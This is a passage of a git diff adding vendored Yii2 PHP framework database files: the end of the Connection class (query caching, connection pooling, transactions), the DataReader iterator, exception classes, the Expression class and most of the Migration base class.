$this->queryCacheDuration : $duration, $dependency]; + try { + $result = call_user_func($callable, $this); + array_pop($this->_queryCacheInfo); + return $result; + } catch (\Exception $e) { + array_pop($this->_queryCacheInfo); + throw $e; + } + } + + /** + * Disables query cache temporarily. + * Queries performed within the callable will not use query cache at all. For example, + * + * ```php + * $db->cache(function (Connection $db) { + * + * // ... queries that use query cache ... + * + * return $db->noCache(function (Connection $db) { + * // this query will not use query cache + * return $db->createCommand('SELECT * FROM customer WHERE id=1')->queryOne(); + * }); + * }); + * ``` + * + * @param callable $callable a PHP callable that contains DB queries which should not use query cache. + * The signature of the callable is `function (Connection $db)`. + * @return mixed the return result of the callable + * @throws \Exception if there is any exception during query + * @see enableQueryCache + * @see queryCache + * @see cache() + */ + public function noCache(callable $callable) + { + $this->_queryCacheInfo[] = false; + try { + $result = call_user_func($callable, $this); + array_pop($this->_queryCacheInfo); + return $result; + } catch (\Exception $e) { + array_pop($this->_queryCacheInfo); + throw $e; + } + } + + /** + * Returns the current query cache information. + * This method is used internally by [[Command]]. + * @param integer $duration the preferred caching duration. If null, it will be ignored. + * @param \yii\caching\Dependency $dependency the preferred caching dependency. If null, it will be ignored. + * @return array the current query cache information, or null if query cache is not enabled. + * @internal + */ + public function getQueryCacheInfo($duration, $dependency) + { + if (!$this->enableQueryCache) { + return null; + } + + $info = end($this->_queryCacheInfo); + if (is_array($info)) { + if ($duration === null) { + $duration = $info[0]; + } + if ($dependency === null) { + $dependency = $info[1]; + } + } + + if ($duration === 0 || $duration > 0) { + if (is_string($this->queryCache) && Yii::$app) { + $cache = Yii::$app->get($this->queryCache, false); + } else { + $cache = $this->queryCache; + } + if ($cache instanceof Cache) { + return [$cache, $duration, $dependency]; + } + } + + return null; + } + + /** + * Establishes a DB connection. + * It does nothing if a DB connection has already been established. + * @throws Exception if connection fails + */ + public function open() + { + if ($this->pdo !== null) { + return; + } + + if (!empty($this->masters)) { + $db = $this->openFromPool($this->masters, $this->masterConfig); + if ($db !== null) { + $this->pdo = $db->pdo; + return; + } else { + throw new InvalidConfigException('None of the master DB servers is available.'); + } + } + + if (empty($this->dsn)) { + throw new InvalidConfigException('Connection::dsn cannot be empty.'); + } + $token = 'Opening DB connection: ' . $this->dsn; + try { + Yii::info($token, __METHOD__); + Yii::beginProfile($token, __METHOD__); + $this->pdo = $this->createPdoInstance(); + $this->initConnection(); + Yii::endProfile($token, __METHOD__); + } catch (\PDOException $e) { + Yii::endProfile($token, __METHOD__); + throw new Exception($e->getMessage(), $e->errorInfo, (int)$e->getCode(), $e); + } + } + + /** + * Closes the currently active DB connection. + * It does nothing if the connection is already closed. + */ + public function close() + { + if ($this->pdo !== null) { + Yii::trace('Closing DB connection: ' . $this->dsn, __METHOD__); + $this->pdo = null; + $this->_schema = null; + $this->_transaction = null; + } + + if ($this->_slave) { + $this->_slave->close(); + $this->_slave = null; + } + } + + /** + * Creates the PDO instance. + * This method is called by [[open]] to establish a DB connection. + * The default implementation will create a PHP PDO instance. + * You may override this method if the default PDO needs to be adapted for certain DBMS. + * @return PDO the pdo instance + */ + protected function createPdoInstance() + { + $pdoClass = $this->pdoClass; + if ($pdoClass === null) { + $pdoClass = 'PDO'; + if ($this->_driverName !== null) { + $driver = $this->_driverName; + } elseif (($pos = strpos($this->dsn, ':')) !== false) { + $driver = strtolower(substr($this->dsn, 0, $pos)); + } + if (isset($driver) && ($driver === 'mssql' || $driver === 'dblib' || $driver === 'sqlsrv')) { + $pdoClass = 'yii\db\mssql\PDO'; + } + } + + return new $pdoClass($this->dsn, $this->username, $this->password, $this->attributes); + } + + /** + * Initializes the DB connection. + * This method is invoked right after the DB connection is established. + * The default implementation turns on `PDO::ATTR_EMULATE_PREPARES` + * if [[emulatePrepare]] is true, and sets the database [[charset]] if it is not empty. + * It then triggers an [[EVENT_AFTER_OPEN]] event. + */ + protected function initConnection() + { + $this->pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); + if ($this->emulatePrepare !== null && constant('PDO::ATTR_EMULATE_PREPARES')) { + $this->pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, $this->emulatePrepare); + } + if ($this->charset !== null && in_array($this->getDriverName(), ['pgsql', 'mysql', 'mysqli', 'cubrid'])) { + $this->pdo->exec('SET NAMES ' . $this->pdo->quote($this->charset)); + } + $this->trigger(self::EVENT_AFTER_OPEN); + } + + /** + * Creates a command for execution. + * @param string $sql the SQL statement to be executed + * @param array $params the parameters to be bound to the SQL statement + * @return Command the DB command + */ + public function createCommand($sql = null, $params = []) + { + $command = new Command([ + 'db' => $this, + 'sql' => $sql, + ]); + + return $command->bindValues($params); + } + + /** + * Returns the currently active transaction. + * @return Transaction the currently active transaction. Null if no active transaction. + */ + public function getTransaction() + { + return $this->_transaction && $this->_transaction->getIsActive() ? $this->_transaction : null; + } + + /** + * Starts a transaction. + * @param string|null $isolationLevel The isolation level to use for this transaction. + * See [[Transaction::begin()]] for details. + * @return Transaction the transaction initiated + */ + public function beginTransaction($isolationLevel = null) + { + $this->open(); + + if (($transaction = $this->getTransaction()) === null) { + $transaction = $this->_transaction = new Transaction(['db' => $this]); + } + $transaction->begin($isolationLevel); + + return $transaction; + } + + /** + * Executes callback provided in a transaction. + * + * @param callable $callback a valid PHP callback that performs the job. Accepts connection instance as parameter. + * @param string|null $isolationLevel The isolation level to use for this transaction. + * See [[Transaction::begin()]] for details. + * @throws \Exception + * @return mixed result of callback function + */ + public function transaction(callable $callback, $isolationLevel = null) + { + $transaction = $this->beginTransaction($isolationLevel); + + try { + $result = call_user_func($callback, $this); + if ($transaction->isActive) { + $transaction->commit(); + } + } catch (\Exception $e) { + $transaction->rollBack(); + throw $e; + } + + return $result; + } + + /** + * Returns the schema information for the database opened by this connection. + * @return Schema the schema information for the database opened by this connection. + * @throws NotSupportedException if there is no support for the current driver type + */ + public function getSchema() + { + if ($this->_schema !== null) { + return $this->_schema; + } else { + $driver = $this->getDriverName(); + if (isset($this->schemaMap[$driver])) { + $config = !is_array($this->schemaMap[$driver]) ? ['class' => $this->schemaMap[$driver]] : $this->schemaMap[$driver]; + $config['db'] = $this; + + return $this->_schema = Yii::createObject($config); + } else { + throw new NotSupportedException("Connection does not support reading schema information for '$driver' DBMS."); + } + } + } + + /** + * Returns the query builder for the current DB connection. + * @return QueryBuilder the query builder for the current DB connection. + */ + public function getQueryBuilder() + { + return $this->getSchema()->getQueryBuilder(); + } + + /** + * Obtains the schema information for the named table. + * @param string $name table name. + * @param boolean $refresh whether to reload the table schema even if it is found in the cache. + * @return TableSchema table schema information. Null if the named table does not exist. + */ + public function getTableSchema($name, $refresh = false) + { + return $this->getSchema()->getTableSchema($name, $refresh); + } + + /** + * Returns the ID of the last inserted row or sequence value. + * @param string $sequenceName name of the sequence object (required by some DBMS) + * @return string the row ID of the last row inserted, or the last value retrieved from the sequence object + * @see http://www.php.net/manual/en/function.PDO-lastInsertId.php + */ + public function getLastInsertID($sequenceName = '') + { + return $this->getSchema()->getLastInsertID($sequenceName); + } + + /** + * Quotes a string value for use in a query. + * Note that if the parameter is not a string, it will be returned without change. + * @param string $value string to be quoted + * @return string the properly quoted string + * @see http://www.php.net/manual/en/function.PDO-quote.php + */ + public function quoteValue($value) + { + return $this->getSchema()->quoteValue($value); + } + + /** + * Quotes a table name for use in a query. + * If the table name contains schema prefix, the prefix will also be properly quoted. + * If the table name is already quoted or contains special characters including '(', '[[' and '{{', + * then this method will do nothing. + * @param string $name table name + * @return string the properly quoted table name + */ + public function quoteTableName($name) + { + return $this->getSchema()->quoteTableName($name); + } + + /** + * Quotes a column name for use in a query. + * If the column name contains prefix, the prefix will also be properly quoted. + * If the column name is already quoted or contains special characters including '(', '[[' and '{{', + * then this method will do nothing. + * @param string $name column name + * @return string the properly quoted column name + */ + public function quoteColumnName($name) + { + return $this->getSchema()->quoteColumnName($name); + } + + /** + * Processes a SQL statement by quoting table and column names that are enclosed within double brackets. + * Tokens enclosed within double curly brackets are treated as table names, while + * tokens enclosed within double square brackets are column names. They will be quoted accordingly. + * Also, the percentage character "%" at the beginning or ending of a table name will be replaced + * with [[tablePrefix]]. + * @param string $sql the SQL to be quoted + * @return string the quoted SQL + */ + public function quoteSql($sql) + { + return preg_replace_callback( + '/(\\{\\{(%?[\w\-\. ]+%?)\\}\\}|\\[\\[([\w\-\. ]+)\\]\\])/', + function ($matches) { + if (isset($matches[3])) { + return $this->quoteColumnName($matches[3]); + } else { + return str_replace('%', $this->tablePrefix, $this->quoteTableName($matches[2])); + } + }, + $sql + ); + } + + /** + * Returns the name of the DB driver. Based on the the current [[dsn]], in case it was not set explicitly + * by an end user. + * @return string name of the DB driver + */ + public function getDriverName() + { + if ($this->_driverName === null) { + if (($pos = strpos($this->dsn, ':')) !== false) { + $this->_driverName = strtolower(substr($this->dsn, 0, $pos)); + } else { + $this->_driverName = strtolower($this->getSlavePdo()->getAttribute(PDO::ATTR_DRIVER_NAME)); + } + } + return $this->_driverName; + } + + /** + * Changes the current driver name. + * @param string $driverName name of the DB driver + */ + public function setDriverName($driverName) + { + $this->_driverName = strtolower($driverName); + } + + /** + * Returns the PDO instance for the currently active slave connection. + * When [[enableSlaves]] is true, one of the slaves will be used for read queries, and its PDO instance + * will be returned by this method. + * @param boolean $fallbackToMaster whether to return a master PDO in case none of the slave connections is available. + * @return PDO the PDO instance for the currently active slave connection. Null is returned if no slave connection + * is available and `$fallbackToMaster` is false. + */ + public function getSlavePdo($fallbackToMaster = true) + { + $db = $this->getSlave(false); + if ($db === null) { + return $fallbackToMaster ? $this->getMasterPdo() : null; + } else { + return $db->pdo; + } + } + + /** + * Returns the PDO instance for the currently active master connection. + * This method will open the master DB connection and then return [[pdo]]. + * @return PDO the PDO instance for the currently active master connection. + */ + public function getMasterPdo() + { + $this->open(); + return $this->pdo; + } + + /** + * Returns the currently active slave connection. + * If this method is called the first time, it will try to open a slave connection when [[enableSlaves]] is true. + * @param boolean $fallbackToMaster whether to return a master connection in case there is no slave connection available. + * @return Connection the currently active slave connection. Null is returned if there is slave available and + * `$fallbackToMaster` is false. + */ + public function getSlave($fallbackToMaster = true) + { + if (!$this->enableSlaves) { + return $fallbackToMaster ? $this : null; + } + + if ($this->_slave === false) { + $this->_slave = $this->openFromPool($this->slaves, $this->slaveConfig); + } + + return $this->_slave === null && $fallbackToMaster ? $this : $this->_slave; + } + + /** + * Executes the provided callback by using the master connection. + * + * This method is provided so that you can temporarily force using the master connection to perform + * DB operations even if they are read queries. For example, + * + * ```php + * $result = $db->useMaster(function ($db) { + * return $db->createCommand('SELECT * FROM user LIMIT 1')->queryOne(); + * }); + * ``` + * + * @param callable $callback a PHP callable to be executed by this method. Its signature is + * `function (Connection $db)`. Its return value will be returned by this method. + * @return mixed the return value of the callback + */ + public function useMaster(callable $callback) + { + $enableSlave = $this->enableSlaves; + $this->enableSlaves = false; + $result = call_user_func($callback, $this); + $this->enableSlaves = $enableSlave; + return $result; + } + + /** + * Opens the connection to a server in the pool. + * This method implements the load balancing among the given list of the servers. + * @param array $pool the list of connection configurations in the server pool + * @param array $sharedConfig the configuration common to those given in `$pool`. + * @return Connection the opened DB connection, or null if no server is available + * @throws InvalidConfigException if a configuration does not specify "dsn" + */ + protected function openFromPool(array $pool, array $sharedConfig) + { + if (empty($pool)) { + return null; + } + + if (!isset($sharedConfig['class'])) { + $sharedConfig['class'] = get_class($this); + } + + $cache = is_string($this->serverStatusCache) ? Yii::$app->get($this->serverStatusCache, false) : $this->serverStatusCache; + + shuffle($pool); + + foreach ($pool as $config) { + $config = array_merge($sharedConfig, $config); + if (empty($config['dsn'])) { + throw new InvalidConfigException('The "dsn" option must be specified.'); + } + + $key = [__METHOD__, $config['dsn']]; + if ($cache instanceof Cache && $cache->get($key)) { + // should not try this dead server now + continue; + } + + /* @var $db Connection */ + $db = Yii::createObject($config); + + try { + $db->open(); + return $db; + } catch (\Exception $e) { + Yii::warning("Connection ({$config['dsn']}) failed: " . $e->getMessage(), __METHOD__); + if ($cache instanceof Cache) { + // mark this server as dead and only retry it after the specified interval + $cache->set($key, 1, $this->serverRetryInterval); + } + } + } + + return null; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/db/DataReader.php b/php/yii2/basic/vendor/yiisoft/yii2/db/DataReader.php new file mode 100644 index 00000000..ebe83518 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/db/DataReader.php @@ -0,0 +1,267 @@ +createCommand('SELECT * FROM post'); + * $reader = $command->query(); + * + * while ($row = $reader->read()) { + * $rows[] = $row; + * } + * + * // equivalent to: + * foreach ($reader as $row) { + * $rows[] = $row; + * } + * + * // equivalent to: + * $rows = $reader->readAll(); + * ~~~ + * + * Note that since DataReader is a forward-only stream, you can only traverse it once. + * Doing it the second time will throw an exception. + * + * It is possible to use a specific mode of data fetching by setting + * [[fetchMode]]. See the [PHP manual](http://www.php.net/manual/en/function.PDOStatement-setFetchMode.php) + * for more details about possible fetch mode. + * + * @property integer $columnCount The number of columns in the result set. This property is read-only. + * @property integer $fetchMode Fetch mode. This property is write-only. + * @property boolean $isClosed Whether the reader is closed or not. This property is read-only. + * @property integer $rowCount Number of rows contained in the result. This property is read-only. + * + * @author Qiang Xue + * @since 2.0 + */ +class DataReader extends \yii\base\Object implements \Iterator, \Countable +{ + /** + * @var \PDOStatement the PDOStatement associated with the command + */ + private $_statement; + private $_closed = false; + private $_row; + private $_index = -1; + + + /** + * Constructor. + * @param Command $command the command generating the query result + * @param array $config name-value pairs that will be used to initialize the object properties + */ + public function __construct(Command $command, $config = []) + { + $this->_statement = $command->pdoStatement; + $this->_statement->setFetchMode(\PDO::FETCH_ASSOC); + parent::__construct($config); + } + + /** + * Binds a column to a PHP variable. + * When rows of data are being fetched, the corresponding column value + * will be set in the variable. Note, the fetch mode must include PDO::FETCH_BOUND. + * @param integer|string $column Number of the column (1-indexed) or name of the column + * in the result set. If using the column name, be aware that the name + * should match the case of the column, as returned by the driver. + * @param mixed $value Name of the PHP variable to which the column will be bound. + * @param integer $dataType Data type of the parameter + * @see http://www.php.net/manual/en/function.PDOStatement-bindColumn.php + */ + public function bindColumn($column, &$value, $dataType = null) + { + if ($dataType === null) { + $this->_statement->bindColumn($column, $value); + } else { + $this->_statement->bindColumn($column, $value, $dataType); + } + } + + /** + * Set the default fetch mode for this statement + * @param integer $mode fetch mode + * @see http://www.php.net/manual/en/function.PDOStatement-setFetchMode.php + */ + public function setFetchMode($mode) + { + $params = func_get_args(); + call_user_func_array([$this->_statement, 'setFetchMode'], $params); + } + + /** + * Advances the reader to the next row in a result set. + * @return array the current row, false if no more row available + */ + public function read() + { + return $this->_statement->fetch(); + } + + /** + * Returns a single column from the next row of a result set. + * @param integer $columnIndex zero-based column index + * @return mixed the column of the current row, false if no more rows available + */ + public function readColumn($columnIndex) + { + return $this->_statement->fetchColumn($columnIndex); + } + + /** + * Returns an object populated with the next row of data. + * @param string $className class name of the object to be created and populated + * @param array $fields Elements of this array are passed to the constructor + * @return mixed the populated object, false if no more row of data available + */ + public function readObject($className, $fields) + { + return $this->_statement->fetchObject($className, $fields); + } + + /** + * Reads the whole result set into an array. + * @return array the result set (each array element represents a row of data). + * An empty array will be returned if the result contains no row. + */ + public function readAll() + { + return $this->_statement->fetchAll(); + } + + /** + * Advances the reader to the next result when reading the results of a batch of statements. + * This method is only useful when there are multiple result sets + * returned by the query. Not all DBMS support this feature. + * @return boolean Returns true on success or false on failure. + */ + public function nextResult() + { + if (($result = $this->_statement->nextRowset()) !== false) { + $this->_index = -1; + } + + return $result; + } + + /** + * Closes the reader. + * This frees up the resources allocated for executing this SQL statement. + * Read attempts after this method call are unpredictable. + */ + public function close() + { + $this->_statement->closeCursor(); + $this->_closed = true; + } + + /** + * whether the reader is closed or not. + * @return boolean whether the reader is closed or not. + */ + public function getIsClosed() + { + return $this->_closed; + } + + /** + * Returns the number of rows in the result set. + * Note, most DBMS may not give a meaningful count. + * In this case, use "SELECT COUNT(*) FROM tableName" to obtain the number of rows. + * @return integer number of rows contained in the result. + */ + public function getRowCount() + { + return $this->_statement->rowCount(); + } + + /** + * Returns the number of rows in the result set. + * This method is required by the Countable interface. + * Note, most DBMS may not give a meaningful count. + * In this case, use "SELECT COUNT(*) FROM tableName" to obtain the number of rows. + * @return integer number of rows contained in the result. + */ + public function count() + { + return $this->getRowCount(); + } + + /** + * Returns the number of columns in the result set. + * Note, even there's no row in the reader, this still gives correct column number. + * @return integer the number of columns in the result set. + */ + public function getColumnCount() + { + return $this->_statement->columnCount(); + } + + /** + * Resets the iterator to the initial state. + * This method is required by the interface Iterator. + * @throws InvalidCallException if this method is invoked twice + */ + public function rewind() + { + if ($this->_index < 0) { + $this->_row = $this->_statement->fetch(); + $this->_index = 0; + } else { + throw new InvalidCallException('DataReader cannot rewind. It is a forward-only reader.'); + } + } + + /** + * Returns the index of the current row. + * This method is required by the interface Iterator. + * @return integer the index of the current row. + */ + public function key() + { + return $this->_index; + } + + /** + * Returns the current row. + * This method is required by the interface Iterator. + * @return mixed the current row. + */ + public function current() + { + return $this->_row; + } + + /** + * Moves the internal pointer to the next row. + * This method is required by the interface Iterator. + */ + public function next() + { + $this->_row = $this->_statement->fetch(); + $this->_index++; + } + + /** + * Returns whether there is a row of data at current position. + * This method is required by the interface Iterator. + * @return boolean whether there is a row of data at current position. + */ + public function valid() + { + return $this->_row !== false; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/db/Exception.php b/php/yii2/basic/vendor/yiisoft/yii2/db/Exception.php new file mode 100644 index 00000000..2c04f829 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/db/Exception.php @@ -0,0 +1,54 @@ + + * @since 2.0 + */ +class Exception extends \yii\base\Exception +{ + /** + * @var array the error info provided by a PDO exception. This is the same as returned + * by [PDO::errorInfo](http://www.php.net/manual/en/pdo.errorinfo.php). + */ + public $errorInfo = []; + + + /** + * Constructor. + * @param string $message PDO error message + * @param array $errorInfo PDO error info + * @param integer $code PDO error code + * @param \Exception $previous The previous exception used for the exception chaining. + */ + public function __construct($message, $errorInfo = [], $code = 0, \Exception $previous = null) + { + $this->errorInfo = $errorInfo; + parent::__construct($message, $code, $previous); + } + + /** + * @return string the user-friendly name of this exception + */ + public function getName() + { + return 'Database Exception'; + } + + /** + * @return string readable representation of exception + */ + public function __toString() + { + return parent::__toString() . PHP_EOL + . 'Additional Information:' . PHP_EOL . print_r($this->errorInfo, true); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/db/Expression.php b/php/yii2/basic/vendor/yiisoft/yii2/db/Expression.php new file mode 100644 index 00000000..8e725ecd --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/db/Expression.php @@ -0,0 +1,61 @@ + + * @since 2.0 + */ +class Expression extends \yii\base\Object +{ + /** + * @var string the DB expression + */ + public $expression; + /** + * @var array list of parameters that should be bound for this expression. + * The keys are placeholders appearing in [[expression]] and the values + * are the corresponding parameter values. + */ + public $params = []; + + + /** + * Constructor. + * @param string $expression the DB expression + * @param array $params parameters + * @param array $config name-value pairs that will be used to initialize the object properties + */ + public function __construct($expression, $params = [], $config = []) + { + $this->expression = $expression; + $this->params = $params; + parent::__construct($config); + } + + /** + * String magic method + * @return string the DB expression + */ + public function __toString() + { + return $this->expression; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/db/IntegrityException.php b/php/yii2/basic/vendor/yiisoft/yii2/db/IntegrityException.php new file mode 100644 index 00000000..84899260 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/db/IntegrityException.php @@ -0,0 +1,25 @@ + + * @since 2.0 + */ +class IntegrityException extends Exception +{ + /** + * @return string the user-friendly name of this exception + */ + public function getName() + { + return 'Integrity constraint violation'; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/db/Migration.php b/php/yii2/basic/vendor/yiisoft/yii2/db/Migration.php new file mode 100644 index 00000000..25fff240 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/db/Migration.php @@ -0,0 +1,433 @@ + + * @since 2.0 + */ +class Migration extends Component implements MigrationInterface +{ + /** + * @var Connection|string the DB connection object or the application component ID of the DB connection + * that this migration should work with. Note that when a Migration object is created by + * the `migrate` command, this property will be overwritten by the command. If you do not want to + * use the DB connection provided by the command, you may override the [[init()]] method like the following: + * + * ```php + * public function init() + * { + * $this->db = 'db2'; + * parent::init(); + * } + * ``` + */ + public $db = 'db'; + + + /** + * Initializes the migration. + * This method will set [[db]] to be the 'db' application component, if it is null. + */ + public function init() + { + parent::init(); + $this->db = Instance::ensure($this->db, Connection::className()); + } + + /** + * This method contains the logic to be executed when applying this migration. + * Child classes may override this method to provide actual migration logic. + * @return boolean return a false value to indicate the migration fails + * and should not proceed further. All other return values mean the migration succeeds. + */ + public function up() + { + $transaction = $this->db->beginTransaction(); + try { + if ($this->safeUp() === false) { + $transaction->rollBack(); + + return false; + } + $transaction->commit(); + } catch (\Exception $e) { + echo "Exception: " . $e->getMessage() . ' (' . $e->getFile() . ':' . $e->getLine() . ")\n"; + echo $e->getTraceAsString() . "\n"; + $transaction->rollBack(); + + return false; + } + + return null; + } + + /** + * This method contains the logic to be executed when removing this migration. + * The default implementation throws an exception indicating the migration cannot be removed. + * Child classes may override this method if the corresponding migrations can be removed. + * @return boolean return a false value to indicate the migration fails + * and should not proceed further. All other return values mean the migration succeeds. + */ + public function down() + { + $transaction = $this->db->beginTransaction(); + try { + if ($this->safeDown() === false) { + $transaction->rollBack(); + + return false; + } + $transaction->commit(); + } catch (\Exception $e) { + echo "Exception: " . $e->getMessage() . ' (' . $e->getFile() . ':' . $e->getLine() . ")\n"; + echo $e->getTraceAsString() . "\n"; + $transaction->rollBack(); + + return false; + } + + return null; + } + + /** + * This method contains the logic to be executed when applying this migration. + * This method differs from [[up()]] in that the DB logic implemented here will + * be enclosed within a DB transaction. + * Child classes may implement this method instead of [[up()]] if the DB logic + * needs to be within a transaction. + * @return boolean return a false value to indicate the migration fails + * and should not proceed further. All other return values mean the migration succeeds. + */ + public function safeUp() + { + } + + /** + * This method contains the logic to be executed when removing this migration. + * This method differs from [[down()]] in that the DB logic implemented here will + * be enclosed within a DB transaction. + * Child classes may implement this method instead of [[up()]] if the DB logic + * needs to be within a transaction. + * @return boolean return a false value to indicate the migration fails + * and should not proceed further. All other return values mean the migration succeeds. + */ + public function safeDown() + { + } + + /** + * Executes a SQL statement. + * This method executes the specified SQL statement using [[db]]. + * @param string $sql the SQL statement to be executed + * @param array $params input parameters (name => value) for the SQL execution. + * See [[Command::execute()]] for more details. + */ + public function execute($sql, $params = []) + { + echo " > execute SQL: $sql ..."; + $time = microtime(true); + $this->db->createCommand($sql)->bindValues($params)->execute(); + echo " done (time: " . sprintf('%.3f', microtime(true) - $time) . "s)\n"; + } + + /** + * Creates and executes an INSERT SQL statement. + * The method will properly escape the column names, and bind the values to be inserted. + * @param string $table the table that new rows will be inserted into. + * @param array $columns the column data (name => value) to be inserted into the table. + */ + public function insert($table, $columns) + { + echo " > insert into $table ..."; + $time = microtime(true); + $this->db->createCommand()->insert($table, $columns)->execute(); + echo " done (time: " . sprintf('%.3f', microtime(true) - $time) . "s)\n"; + } + + /** + * Creates and executes an batch INSERT SQL statement. + * The method will properly escape the column names, and bind the values to be inserted. + * @param string $table the table that new rows will be inserted into. + * @param array $columns the column names. + * @param array $rows the rows to be batch inserted into the table + */ + public function batchInsert($table, $columns, $rows) + { + echo " > insert into $table ..."; + $time = microtime(true); + $this->db->createCommand()->batchInsert($table, $columns, $rows)->execute(); + echo " done (time: " . sprintf('%.3f', microtime(true) - $time) . "s)\n"; + } + + /** + * Creates and executes an UPDATE SQL statement. + * The method will properly escape the column names and bind the values to be updated. + * @param string $table the table to be updated. + * @param array $columns the column data (name => value) to be updated. + * @param array|string $condition the conditions that will be put in the WHERE part. Please + * refer to [[Query::where()]] on how to specify conditions. + * @param array $params the parameters to be bound to the query. + */ + public function update($table, $columns, $condition = '', $params = []) + { + echo " > update $table ..."; + $time = microtime(true); + $this->db->createCommand()->update($table, $columns, $condition, $params)->execute(); + echo " done (time: " . sprintf('%.3f', microtime(true) - $time) . "s)\n"; + } + + /** + * Creates and executes a DELETE SQL statement. + * @param string $table the table where the data will be deleted from. + * @param array|string $condition the conditions that will be put in the WHERE part. Please + * refer to [[Query::where()]] on how to specify conditions. + * @param array $params the parameters to be bound to the query. + */ + public function delete($table, $condition = '', $params = []) + { + echo " > delete from $table ..."; + $time = microtime(true); + $this->db->createCommand()->delete($table, $condition, $params)->execute(); + echo " done (time: " . sprintf('%.3f', microtime(true) - $time) . "s)\n"; + } + + /** + * Builds and executes a SQL statement for creating a new DB table. + * + * The columns in the new table should be specified as name-definition pairs (e.g. 'name' => 'string'), + * where name stands for a column name which will be properly quoted by the method, and definition + * stands for the column type which can contain an abstract DB type. + * + * The [[QueryBuilder::getColumnType()]] method will be invoked to convert any abstract type into a physical one. + * + * If a column is specified with definition only (e.g. 'PRIMARY KEY (name, type)'), it will be directly + * put into the generated SQL. + * + * @param string $table the name of the table to be created. The name will be properly quoted by the method. + * @param array $columns the columns (name => definition) in the new table. + * @param string $options additional SQL fragment that will be appended to the generated SQL. + */ + public function createTable($table, $columns, $options = null) + { + echo " > create table $table ..."; + $time = microtime(true); + $this->db->createCommand()->createTable($table, $columns, $options)->execute(); + echo " done (time: " . sprintf('%.3f', microtime(true) - $time) . "s)\n"; + } + + /** + * Builds and executes a SQL statement for renaming a DB table. + * @param string $table the table to be renamed. The name will be properly quoted by the method. + * @param string $newName the new table name. The name will be properly quoted by the method. + */ + public function renameTable($table, $newName) + { + echo " > rename table $table to $newName ..."; + $time = microtime(true); + $this->db->createCommand()->renameTable($table, $newName)->execute(); + echo " done (time: " . sprintf('%.3f', microtime(true) - $time) . "s)\n"; + } + + /** + * Builds and executes a SQL statement for dropping a DB table. + * @param string $table the table to be dropped. The name will be properly quoted by the method. + */ + public function dropTable($table) + { + echo " > drop table $table ..."; + $time = microtime(true); + $this->db->createCommand()->dropTable($table)->execute(); + echo " done (time: " . sprintf('%.3f', microtime(true) - $time) . "s)\n"; + } + + /** + * Builds and executes a SQL statement for truncating a DB table. + * @param string $table the table to be truncated. The name will be properly quoted by the method. + */ + public function truncateTable($table) + { + echo " > truncate table $table ..."; + $time = microtime(true); + $this->db->createCommand()->truncateTable($table)->execute(); + echo " done (time: " . sprintf('%.3f', microtime(true) - $time) . "s)\n"; + } + + /** + * Builds and executes a SQL statement for adding a new DB column. + * @param string $table the table that the new column will be added to. The table name will be properly quoted by the method. + * @param string $column the name of the new column. The name will be properly quoted by the method. + * @param string $type the column type. The [[QueryBuilder::getColumnType()]] method will be invoked to convert abstract column type (if any) + * into the physical one. Anything that is not recognized as abstract type will be kept in the generated SQL. + * For example, 'string' will be turned into 'varchar(255)', while 'string not null' will become 'varchar(255) not null'. + */ + public function addColumn($table, $column, $type) + { + echo " > add column $column $type to table $table ..."; + $time = microtime(true); + $this->db->createCommand()->addColumn($table, $column, $type)->execute(); + echo " done (time: " . sprintf('%.3f', microtime(true) - $time) . "s)\n"; + } + + /** + * Builds and executes a SQL statement for dropping a DB column. + * @param string $table the table whose column is to be dropped. The name will be properly quoted by the method. + * @param string $column the name of the column to be dropped. The name will be properly quoted by the method. + */ + public function dropColumn($table, $column) + { + echo " > drop column $column from table $table ..."; + $time = microtime(true); + $this->db->createCommand()->dropColumn($table, $column)->execute(); + echo " done (time: " . sprintf('%.3f', microtime(true) - $time) . "s)\n"; + } + + /** + * Builds and executes a SQL statement for renaming a column. + * @param string $table the table whose column is to be renamed. The name will be properly quoted by the method. + * @param string $name the old name of the column. The name will be properly quoted by the method. + * @param string $newName the new name of the column. The name will be properly quoted by the method. + */ + public function renameColumn($table, $name, $newName) + { + echo " > rename column $name in table $table to $newName ..."; + $time = microtime(true); + $this->db->createCommand()->renameColumn($table, $name, $newName)->execute(); + echo " done (time: " . sprintf('%.3f', microtime(true) - $time) . "s)\n"; + } + + /** + * Builds and executes a SQL statement for changing the definition of a column. + * @param string $table the table whose column is to be changed. The table name will be properly quoted by the method. + * @param string $column the name of the column to be changed. The name will be properly quoted by the method. + * @param string $type the new column type. The [[QueryBuilder::getColumnType()]] method will be invoked to convert abstract column type (if any) + * into the physical one. Anything that is not recognized as abstract type will be kept in the generated SQL. + * For example, 'string' will be turned into 'varchar(255)', while 'string not null' will become 'varchar(255) not null'. + */ + public function alterColumn($table, $column, $type) + { + echo " > alter column $column in table $table to $type ..."; + $time = microtime(true); + $this->db->createCommand()->alterColumn($table, $column, $type)->execute(); + echo " done (time: " . sprintf('%.3f', microtime(true) - $time) . "s)\n"; + } + + /** + * Builds and executes a SQL statement for creating a primary key. + * The method will properly quote the table and column names. + * @param string $name the name of the primary key constraint. + * @param string $table the table that the primary key constraint will be added to. + * @param string|array $columns comma separated string or array of columns that the primary key will consist of. + */ + public function addPrimaryKey($name, $table, $columns) + { + echo " > add primary key $name on $table (" . (is_array($columns) ? implode(',', $columns) : $columns).") ..."; + $time = microtime(true); + $this->db->createCommand()->addPrimaryKey($name, $table, $columns)->execute(); + echo " done (time: " . sprintf('%.3f', microtime(true) - $time) . "s)\n"; + } + + /** + * Builds and executes a SQL statement for dropping a primary key. + * @param string $name the name of the primary key constraint to be removed. + * @param string $table the table that the primary key constraint will be removed from. + */ + public function dropPrimaryKey($name, $table) + { + echo " > drop primary key $name ..."; + $time = microtime(true); + $this->db->createCommand()->dropPrimaryKey($name, $table)->execute(); + echo " done (time: " . sprintf('%.3f', microtime(true) - $time) . "s)\n"; + } + + /** + * Builds a SQL statement for adding a foreign key constraint to an existing table. + * The method will properly quote the table and column names. + * @param string $name the name of the 